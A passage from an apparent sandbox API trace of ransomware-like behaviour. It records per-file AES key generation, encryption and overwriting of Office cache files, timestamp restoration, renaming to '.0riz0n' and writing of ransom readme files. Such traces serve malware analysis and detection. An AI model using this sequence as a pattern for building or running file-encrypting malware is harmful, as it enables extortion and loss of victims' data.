phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0073.301] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0073.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.301] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0073.301] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.301] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0073.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x340) returned 0x1a8ea68 [0073.302] ReadFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesRead=0x17af85c*=0x32b, lpOverlapped=0x0) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x340) returned 0xfce5a8 [0073.303] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x340) returned 0x1a8ea68 [0073.303] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.303] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfce5a8) returned 1 [0073.303] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x740) returned 0xf1e738 [0073.303] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xf1e738*, pdwDataLen=0x17af858*=0x32b, dwBufLen=0x72b | out: pbData=0xf1e738*, pdwDataLen=0x17af858*=0x330) returned 1 [0073.303] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf1e738) returned 1 [0073.303] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.303] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x32b, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x32b, lpOverlapped=0x0) returned 1 [0073.304] FlushFileBuffers (hFile=0x1f0) returned 1 [0073.306] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.306] NtClose (Handle=0x1f0) returned 0x0 [0073.307] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.0riz0n")) returned 1 [0073.308] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0073.308] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0073.308] GetLastError () returned 0x2 [0073.308] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6768, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0073.308] GetLastError () returned 0x2 [0073.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.308] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.308] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0073.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.309] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0073.309] WriteFile (in: hFile=0x1f0, lpBuffer=0xfce5a8*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xfce5a8*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0073.310] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x4081ddb0, dwHighDateTime=0x1d59598)) returned 1 [0073.310] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.312] NtClose (Handle=0x1f0) returned 0x0 [0073.313] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0073.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfce5a8) returned 1 [0073.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0073.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0073.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0073.313] CryptDestroyKey (hKey=0x459b38) returned 1 [0073.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0073.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0073.313] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0073.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.313] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1 [0073.313] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0073.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0073.314] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0073.314] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0073.314] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0073.314] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.314] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1 [0073.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0073.314] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0073.314] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.314] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc)) returned 1 [0073.314] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.314] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.315] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.315] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0073.315] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf58c6830, dwHighDateTime=0x1d301be)) returned 1 [0073.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.315] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0073.315] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0073.315] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.315] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0073.316] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.316] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0073.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1700) returned 0xf47748 [0073.316] ReadFile (in: hFile=0x1f0, lpBuffer=0xf47748, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf47748*, lpNumberOfBytesRead=0x17af85c*=0x16fc, lpOverlapped=0x0) returned 1 [0073.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1700) returned 0xfa2210 [0073.317] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0073.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1700) returned 0xf47748 [0073.317] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.318] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfa2210) returned 1 [0073.318] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b00) returned 0xfa2210 [0073.318] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfa2210*, pdwDataLen=0x17af858*=0x16fc, dwBufLen=0x1afc | out: pbData=0xfa2210*, pdwDataLen=0x17af858*=0x1700) returned 1 [0073.318] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfa2210) returned 1 [0073.318] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.318] WriteFile (in: hFile=0x1f0, lpBuffer=0xf47748*, nNumberOfBytesToWrite=0x16fc, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf47748*, lpNumberOfBytesWritten=0x17af85c*=0x16fc, lpOverlapped=0x0) returned 1 [0073.318] FlushFileBuffers (hFile=0x1f0) returned 1 [0073.321] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.321] NtClose (Handle=0x1f0) returned 0x0 [0073.321] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0073.322] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0073.322] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0073.322] GetLastError () returned 0x2 [0073.322] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6788, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0073.322] GetLastError () returned 0x2 [0073.322] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.323] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.323] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0073.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xb) returned 0x30d630 [0073.324] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e9, lpOverlapped=0x0) returned 1 [0073.324] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x40843f10, dwHighDateTime=0x1d59598)) returned 1 [0073.324] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0073.324] NtClose (Handle=0x1f0) returned 0x0 [0073.325] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0073.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0073.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0073.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf47748) returned 1 [0073.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0073.325] CryptDestroyKey (hKey=0x459b38) returned 1 [0073.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0073.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0073.325] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0073.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.325] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed)) returned 1 [0073.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0073.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0073.326] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0073.326] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0073.326] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0073.326] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.326] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed)) returned 1 [0073.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0073.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0073.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.327] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed)) returned 1 [0073.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0073.327] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0073.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0073.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0073.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0073.327] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0073.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0073.327] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf07b1ad0, dwHighDateTime=0x1d301be)) returned 1 [0073.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.327] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0073.327] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0073.328] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0073.328] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0073.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0073.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0073.328] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0073.328] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0073.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xa00000) returned 0x2350020 [0073.329] ReadFile (in: hFile=0x1f0, lpBuffer=0x2350020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesRead=0x17af85c*=0xa00000, 